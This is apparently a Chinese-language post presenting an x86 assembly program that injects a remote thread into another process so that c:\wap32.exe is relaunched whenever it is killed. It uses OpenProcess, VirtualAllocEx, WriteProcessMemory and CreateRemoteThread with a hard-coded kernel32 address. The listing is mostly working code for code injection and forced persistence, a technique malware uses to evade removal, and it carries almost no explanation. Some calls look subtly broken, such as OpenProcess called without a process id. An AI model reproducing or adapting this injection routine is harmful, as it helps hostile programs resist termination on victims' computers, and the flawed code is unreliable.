此段程序采用公開的 Win2k注射遠程線程，來保護指定進程始終處于運行狀態。
　　生成wap32.exe拷貝到c:\下運行，則Wap32進程不死。
　　
　　include Win32.inc
　　
　　.386
　　.model flat,stdcall
　　.data
　　
　　Protect2kProc proc ProcID: dword
　　call GetKnlOpenProcess
　　KnlOpenProcess dd ?
　　GetKnlOpenProcess:
　　pop eax
　　call [eax],PROCESS_ALL_ACCESS,FALSE,ProcID
　　or eax,eax
　　jz short ExitProtectProc
　　mov ebx,eax
　　call GetKnlWaitForSingleObject
　　KnlWaitForSingleObject dd ?
　　GetKnlWaitForSingleObject:
　　pop eax
　　call [eax],ebx,-1h
　　call GetFileNameAddress
　　GetFileNameAddress:
　　pop ecx
　　add ecx,offset FileName-offset GetFileNameAddress
　　call GetKnlWinExec
　　KnlWinExec dd ?
　　GetKnlWinExec:
　　pop eax
　　call [eax],ecx,01
　　ExitProtectProc:
　　ret
　　Protect2kProc endp
　　
　　FileName db 'c:\wap32.exe',0
　　
　　
　　KnlOpenProcessStr db 'OpenProcess',0
　　KnlWaitForObjectStr db 'WaitForSingleObject',0
　　KnlWinExecStr db 'WinExec',0
　　
　　
　　.code
　　extrn GetProcAddress: proc
　　extrn OpenProcess: proc
　　extrn FindWindowA: proc
　　extrn GetWindowThreadProcessId: proc
　　extrn VirtualAllocEx: proc
　　extrn VirtualFreeEx: proc
　　extrn WriteProcessMemory: proc
　　extrn GetCurrentProcessId: proc
　　extrn CreateRemoteThread: proc
　　extrn GetExitCodeThread: proc
　　extrn CloseHandle: proc
　　extrn WinExec: proc
　　extrn MessageBoxA: proc
　　extrn Sleep: proc
　　
　　
　　Start:
　　call GetProcAddress,077e60000h,offset KnlOpenProcessStr
　　mov KnlOpenProcess,eax
　　call GetProcAddress,077e60000h,offset KnlWaitForObjectStr
　　mov KnlWaitForSingleObject,eax
　　call GetProcAddress,077e60000h,offset KnlWinExecStr
　　mov KnlWinExec,eax
　　
　　call FindWindowA,0,0
　　push eax
　　call GetWindowThreadProcessId,eax,esp
　　call OpenProcess,PROCESS_ALL_ACCESS,FALSE
　　or eax,eax
　　jz short OpenProcessError
　　mov ebx,eax
　　call VirtualAllocEx,ebx,NULL,1000h,MEM_COMMIT,L 40h
　　or eax,eax
　　jz short OpenProcessError
　　mov edi,eax
　　push eax
　　call WriteProcessMemory,ebx,edi,OFF Protect2kProc,1000h,esp
　　call GetCurrentProcessId
　　call CreateRemoteThread,ebx,NULL,NULL,edi,eax,NULL,esp
　　call GetExitCodeThread,eax,esp
　　pop eax
　　;call VirtualFreeEx,ebx,edi,1000h,MEM_DECOMMIT
　　call CloseHandle,ebx
　　call Sleep,100h
　　call MessageBoxA,0,offset FileName,offset FileName,0
　　OpenProcessError:
　　ret
　　
　　end Start